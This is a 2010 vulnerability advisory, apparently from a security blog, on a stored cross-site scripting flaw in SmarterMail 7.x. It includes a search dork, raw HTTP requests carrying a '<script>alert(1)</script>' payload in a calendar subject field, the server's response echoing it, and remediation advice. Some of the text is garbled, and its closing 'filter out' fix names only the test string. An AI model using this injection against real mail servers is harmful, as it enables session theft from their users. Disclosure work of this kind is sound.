1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193 | Source URL
http://cloudscan.blogspot.com/2010/10/vendor-smartertoolscom-smartermail-7x.html
########################################################################
# Vendor: smartertools.com SmarterMail 7.x (7.2.3925)
# Date: 2010-10-01
# Author : David Hoyt (sqlhacker) – Hoyt LLC
# Contact : h02332@gmail.com
# Home : http://cloudscan.me
# Dork : insite: SmarterMail Enterprise 7.1
# Bug : Cross Site Scripting - STORED
# Tested on : SmarterMail 7.x (7.2.3925) // Windows 2008 /64/R2
# Uncoordinated Disclosure
########################################################################
ABSTRACT
--------------------------
It is important for application developers to penetration test
their products prior to release in order to find potential vulnerabilities
and correct them before fraudsters exploit them.
DISCLOSURE PURPOSE
--------------------------
Applications for wide-scale deployment must be delivered with an exploit
surface that is manageable.
Developers failing to properly screen applications prior to release are at
risk of uncoordinated disclosure.
SECURITY COMMENTS
--------------------------
Server Application developers should explicitly be detailing the exploit
surface
modeling performed on an application as part of the software development
lifecycle
prior to and as part of a candidate release.
System Admins need to take a trust-no-one approach when installing Server
and Client Applications for wide-scale deployment.
ENGAGEMENT TOOLS
--------------------------
I am using Immunity Debugger, Burp Suite Pro 1.3.08, Netsparker, Metasploit,
NeXpose, XSS_Rays,
FuzzDB as a baseline set of engagement tools that are being used to perform
this analysis.
DISCUSSION AND ANALYSIS
--------------------------
SmarterMail 7.x (7.2.3925) was released on 10/1/2010 and was to have
addressed a number of
issues identified in CVE's
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3425 and
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3486.
This advisory addresses Cross Site Scripting vulnerabilities found in
SmarterMail 7.x (7.2.3925).
Additional advisories will be released as we develop a bullet proof audit
trail.
Further advisories will focus on security by obscurity in SmarterMail.
My prior work focused on the Cross Site Scripting (Reflected) found in
various URL/Param combos.
The most recent release added in the special feature of Cross Site
Scripting, Stored.
This is an unwelcome additional to the exploit surface map of SmarterMail
7.x (7.2.3925).
AUDIT TRAIL
--------------------------
Cross-site scripting (stored)
Summary
Severity: High
Confidence: Certain
Host: http://vulnerable.smartermail.site:9998
Path: /Main/frmToday.aspx
Issue detail
The value of the ctl00%24MPH%24SubjectBox_SettingText request parameter
submitted to the URL /Main/Calendar/frmEvent.aspx is copied into the HTML
document as plain text between tags at the URL /Main/frmToday.aspx. The
payload f5d23<script>alert(1)</script>eb582083b9d was submitted in the
ctl00%24MPH%24SubjectBox_SettingText parameter. This input was returned
unmodified in a subsequent request for the URL /Main/frmToday.aspx.
This proof-of-concept attack demonstrates that it is possible to inject
arbitrary JavaScript into the application's response.
Issue background
Stored cross-site scripting vulnerabilities arise when data which originated
from any tainted source is copied into the application's responses in an
unsafe way. An attacker can use the vulnerability to inject malicious
JavaScript code into the application, which will execute within the browser
of any user who views the relevant application content.
The attacker-supplied code can perform a wide variety of actions, such as
stealing victims' session tokens or login credentials, performing arbitrary
actions on their behalf, and logging their keystrokes.
Methods for introducing malicious content include any function where request
parameters or headers are processed and stored by the application, and any
out-of-band channel whereby data can be introduced into the application's
processing space (for example, email messages sent over SMTP which are
ultimately rendered within a web mail application).
Stored cross-site scripting flaws are typically more serious than reflected
vulnerabilities because they do not require a separate delivery mechanism in
order to reach targe users, and they can potentially be exploited to create
web application worms which spread exponentially amongst application users.
Note that automated detection of stored cross-site scripting vulnerabilities
cannot reliably determine whether attacks that are persisted within the
application can be accessed by any other user, only by authenticated users,
or only by the attacker themselves. You should review the functionality in
which the vulnerability appears to determine whether the application's
behaviour can feasibly be used to compromise other application users.
Issue remediation
In most situations where user-controllable data is copied into application
responses, cross-site scripting attacks can be prevented using two layers of
defences:
Input should be validated as strictly as possible on arrival, given the kind
of content which it is expected to contain. For example, personal names
should consist of alphabetical and a small range of typographical
characters, and be relatively short; a year of birth should consist of
exactly four numerals; email addresses should match a well-defined regular
expression. Input which fails the validation should be rejected, not
sanitised.
User input should be HTML-encoded at any point where it is copied into
application responses. All HTML metacharacters, including < > " ' and =,
should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author
content using a restricted subset of HTML tags and attributes (for example,
blog comments which allow limited formatting and linking), it is necessary
to parse the supplied HTML to validate that it does not use any dangerous
syntax; this is a non-trivial task.
Request 1
POST /Main/Calendar/frmEvent.aspx?popup=true HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer:
http://vulnerable.smartermail.site:9998/Main/Calendar/frmEvent.aspx?popup=true
#
x-microsoftajax: Delta=true
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64;
Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: vulnerable.smartermail.site:9998
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: SelectedLanguage=;
settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default;
STTTState=;
STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserContacts"};
ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55
Content-Length: 27088
ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24SaveTextImageButton&ctl00%24TPH%24TabStrip%24SelectedTab=ctl00_TPH_TabStrip_Tab1&ctl00%24MPH%24VisiblePage=ctl00_MPH_OptionsTab&ctl00%24MPH%24SubjectBox_SettingText=f5d23<\\//script>alert(1)<\\/script>eb582083b9d&ctl00%24MPH%24InviteBox=&ctl00_MPH_InviteBox_ClientState=%7B%22logEntries%22%3A%5B%5D%2C%22value%22%3A%22%22%2C%22text%22%3A%22%22%2C%22enabled%22%3Atrue%7D&ctl00%24MPH%24LocationBox_SettingText=anyt
...[SNIP]...
Request 2
GET /Main/frmToday.aspx HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg,
application/x-ms-application, application/x-ms-xbap,
application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://vulnerable.smartermail.site:9998/Default.aspx
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64;
Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: vulnerable.smartermail.site:9998
Proxy-Connection: Keep-Alive
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=;
settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default
Response 2
HTTP/2.0 200 OK
Server: SmarterTools/2.0.3925.24451
Date: Sat, 02 Oct 2010 00:29:05 GMT
X-AspNet-Version: 2.0.50727
X-Compressed-By: HttpCompress
Cache-Control: private
Content-Type: text/html; charset=utf-8
Connection: Close
Content-Length: 1294009
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "
http://www.w3.org/TR/html4/strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><title>
My Today Page - hoytllc.
...[SNIP]...
<a href="#"
onclick="OpenNewMessage('Calendar/frmEvent.aspx?edit=b0f7be7eec69411b82be79429c806520&returnTo=frmToday',
600,400);">f5d23<\\script>alert(1)<\\/script>eb582083b9d</a<file://script%3ealert(1)%3c///script%3Eeb582083b9d%3C/a>
>
...[SNIP]...
REMEDIATION SOLUTION
------------------------
Smartertools should engage qualified resources for screening their products
for vulnerabilities.
Releasing updates without proper security screening puts a target bullseye
on the application
and causes customers to walk away and ask for refunds (witness my own
actions).
Some of the most basic programming errors are still present in the current
release of SmarterMail 7.x (7.2.3925)
I'm pusing an update to my clients now on this Stored XSS issue..
Simply filter out
f5d23<\\script>alert(1)<\\/script>eb582083b9d<file://script%3ealert(1)%3c///script%3Eeb582083b9d>
|
